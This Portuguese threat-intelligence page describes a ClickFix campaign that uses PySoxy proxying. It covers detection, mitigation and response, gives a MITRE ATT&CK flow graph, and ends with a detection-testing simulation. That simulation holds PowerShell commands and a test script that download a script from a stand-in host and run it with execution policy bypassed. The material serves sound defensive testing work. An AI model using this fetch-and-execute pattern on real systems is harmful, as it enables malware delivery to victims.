ClickFix Evolui com Proxying de PySoxy
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
ClickFix é uma técnica de entrega baseada em engenharia social que agora está sendo combinada com o proxy SOCKS5 PySoxy de código aberto para criar um canal de acesso secundário criptografado. A intrusão começa quando um usuário executa um comando PowerShell malicioso, que configura uma persistência de tarefa agendada e inicia uma sessão de comando e controle em memória do PowerShell. Após o reconhecimento inicial, o atacante baixa e executa o PySoxy para estabelecer um segundo caminho criptografado no ambiente. Esse uso modular de ferramentas baseadas em interpretadores torna tanto a detecção quanto o confinamento de incidentes mais desafiadores.
Investigação
A ReliaQuest observou um único comando ClickFix dirigido pelo usuário que lançou um stage PowerShell ofuscado, criou uma tarefa agendada, realizou reconhecimento de domínio e, posteriormente, baixou um arquivo de bytecode Python compilado chamado b64.pyc, que foi executado com python.exe. O componente PowerShell atuava como um RAT leve, consultando seu servidor de comando e controle a cada três segundos. Os pesquisadores também observaram o atacante usar curl para fazer upload de logs e recuperar o payload PySoxy do mesmo servidor de estágio.
Mitigação
Os defensores devem detectar e bloquear lançamentos suspeitos de PowerShell originários de explorer.exe, monitorar tarefas agendadas que executam comandos PowerShell ocultos e buscar execuções de Python usando argumentos relacionados a proxy, como -ssl, -remote_ip, e -remote_port. As equipes de segurança também devem inspecionar o tráfego de saída para os domínios e endereços IP identificados e remover qualquer script PowerShell persistido ou .pyc arquivos encontrados em ProgramData.
Resposta
Se indicadores relacionados forem encontrados, isole imediatamente o host afetado, desabilite a conta de usuário comprometida, remova a tarefa agendada maliciosa, exclua o script PowerShell e artefatos PySoxy, e escaneie o sistema para remanescentes adicionais. Os defensores também devem confirmar que o tráfego de saída para a infraestrutura identificada está bloqueado e verificar que não restam outros mecanismos de persistência ativos.
"graph TB %% Class definitions classDef technique fill:#cce5ff %% Node definitions tech_content_injection["<b>Técnica</b> – <b>Injeção de Conteúdo T1659</b><br/><b>Descrição</b>: Adversários injetam conteúdo malicioso em arquivos legítimos ou fluxos de dados para permitir ações maliciosas adicionais."] class tech_content_injection technique tech_user_exec_malicious_link["<b>Técnica</b> – <b>T1204.001 Execução do Usuário: Link Malicioso</b><br/><b>Descrição</b>: A vítima clica em um link elaborado que lança código malicioso."] class tech_user_exec_malicious_link technique tech_user_exec_psh_stager["<b>Técnica</b> – <b>T1204 Execução do Usuário (stage PowerShell)</b><br/><b>Descrição</b>: O usuário executa um comando PowerShell que estágia payloads adicionais."] class tech_user_exec_psh_stager technique tech_obf_embedded_payloads["<b>Técnica</b> – <b>T1027.009 Arquivos ou Informações Ofuscados: Payloads Embutidos</b><br/><b>Descrição</b>: Os payloads são ocultos ou criptografados dentro de outros arquivos para evitar detecção."] class tech_obf_embedded_payloads technique tech_reflective_loading["<b>Técnica</b> – <b>T1620 Carregamento de Código Reflexivo</b><br/><b>Descrição</b>: Código malicioso é carregado diretamente na memória usando técnicas reflexivas."] class tech_reflective_loading technique tech_scheduled_task["<b>Técnica</b> – <b>T1053 Tarefa/Job Agendado</b><br/><b>Descrição</b>: Uma tarefa ou job agendado é criado para executar código malicioso para persistência."] class tech_scheduled_task technique tech_user_exec_psh_rat["<b>Técnica</b> – <b>T1204 Execução do Usuário (PowerShell RAT in-memory)</b><br/><b>Descrição</b>: O usuário executa inadvertidamente uma ferramenta de acesso remoto baseada em PowerShell in-memory."] class tech_user_exec_psh_rat technique tech_permission_groups["<b>Técnica</b> – <b>T1069 Descoberta de Grupos de Permissão</b><br/><b>Descrição</b>: O adversário enumera grupos de permissão e associações no sistema."] class tech_permission_groups technique tech_lateral_tool_transfer["<b>Técnica</b> – <b>T1570 Transferência de Ferramenta Lateral</b><br/><b>Descrição</b>: Ferramentas ou arquivos são transferidos lateralmente para outro host, por exemplo, via upload curl."] class tech_lateral_tool_transfer technique tech_multistage_channels["<b>Técnica</b> – <b>T1104 Canais de Múltiplas Etapas</b><br/><b>Descrição</b>: Canal de comunicação adicional é estabelecido para baixar payloads adicionais, como PySoxy."] class tech_multistage_channels technique tech_proxy["<b>Técnica</b> – <b>T1090 Proxy</b><br/><b>Descrição</b>: O tráfego é redirecionado por meio de um servidor proxy para ocultar a origem."] class tech_proxy technique tech_proxy_external["<b>Técnica</b> – <b>T1090.002 Proxy: Proxy Externo</b><br/><b>Descrição</b>: Um serviço de proxy externo é usado para ocultar ainda mais o tráfego de comando e controle."] class tech_proxy_external technique tech_exfil_alt_proto["<b>Técnica</b> – <b>T1048 Exfiltração por Protocolo Alternativo</b><br/><b>Descrição</b>: Dados são exfiltrados usando um protocolo não normalmente associado à transferência de dados."] class tech_exfil_alt_proto technique %% Connections showing attack flow tech_content_injection –>|leads_to| tech_user_exec_malicious_link tech_user_exec_malicious_link –>|leads_to| tech_user_exec_psh_stager tech_user_exec_psh_stager –>|leads_to| tech_obf_embedded_payloads tech_obf_embedded_payloads –>|leads_to| tech_reflective_loading tech_user_exec_psh_stager –>|enables| tech_scheduled_task tech_scheduled_task –>|leads_to| tech_user_exec_psh_rat tech_user_exec_psh_rat –>|leads_to| tech_permission_groups tech_permission_groups –>|leads_to| tech_lateral_tool_transfer tech_lateral_tool_transfer –>|leads_to| tech_multistage_channels tech_multistage_channels –>|leads_to| tech_proxy tech_proxy –>|leads_to| tech_proxy_external tech_proxy_external –>|leads_to| tech_exfil_alt_proto "
Fluxo de Ataque
Detecções
Enumeração ou Manipulação de Conta ou Grupo Possível (via linha de comando)
Ver
Descoberta de Confianças de Domínio Suspeitas (via linha de comando)
Ver
Uso Suspeito de CURL (via linha de comando)
Ver
Strings Suspeitas de PowerShell (via powershell)
Ver
Tarefa Agendada Suspeita (via auditoria)
Ver
IOCs (IP de Origem) para detectar: ClickFix Evolui com Proxying PySoxy
Ver
IOCs (IP de Destino) para detectar: ClickFix Evolui com Proxying PySoxy
Ver
Detectar Atividade PySoxy e ClickFix com Conexões de Saída Suspeitas [Conexão de Rede do Windows]
Ver
Detecção de Atividade C2 de PowerShell do ClickFix [Windows Powershell]
Ver
Campanha ClickFix – Explorer Iniciando PowerShell Ofuscado [Criação de Processo do Windows]
Ver
Execução de Simulação
Pré-requisito: O Check Previamente de Telemetria & Linha Base deve ter passado.
Racional: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para disparar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
- Objetivo: Estabelecer um canal C2 baseado em PowerShell (ClickFix) que baixe um payload malicioso de um servidor remoto e o execute furtivamente.
- Método: O atacante lança
powershell.execom a bandeira exata que a regra monitora (-NoProfileand-ExecutionPolicy Bypass) e usaInvoke-WebRequestpara buscar o payload. - Por que este método: Ao usar o PowerShell nativo do Windows e o comum
Invoke-WebRequestcmdlet, o adversário evita baixar ferramentas de terceiros, reduzindo a chance de detecção por antivírus enquanto coincide com o comportamento conhecido do ClickFix capturado na regra.
# Passo 1: Baixar o script malicioso (simulado como um arquivo de teste benigno) $url = "http://malicious.example.com/payload.ps1" $out = "$env:TEMPpayload.ps1" Invoke-WebRequest -Uri $url -OutFile $out # Passo 2: Executar o script baixado usando os mesmos parâmetros de lançamento que a regra vigia powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out -
Script de Teste de Regressão:
# ============================================== # Simulação de C2 de PowerShell do ClickFix (TC-20260514-3G7ZK) # ============================================== # Definir variáveis $url = "http://malicious.example.com/payload.ps1" $out = "$env:TEMPpayload.ps1" # 1. Baixar um payload fictício (atua como a busca de C2) Write-Host "[*] Baixando payload..." try { Invoke-WebRequest -Uri $url -OutFile $out -UseBasicParsing } catch { Write-Error "Download falhou: $_" exit 1 } # 2. Executar o payload com as mesmas bandeiras monitoradas pela regra Write-Host "[*] Executando payload com -NoProfile -ExecutionPolicy Bypass" powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out Write-Host "[+] Simulação completa." # ============================================== -
Comandos de Limpeza:
# Remover o arquivo de payload temporário if (Test-Path $out) { Remove-Item -Path $out -Force Write-Host "[*] Arquivo de payload removido." } # Opcionalmente parar quaisquer processos PowerShell remanescentes lançados pelo teste Get-Process -Name "powershell" | Where-Object {$_.Path -like "*powershell.exe"} | Stop-Process -Force Write-Host "[*] Limpeza finalizada."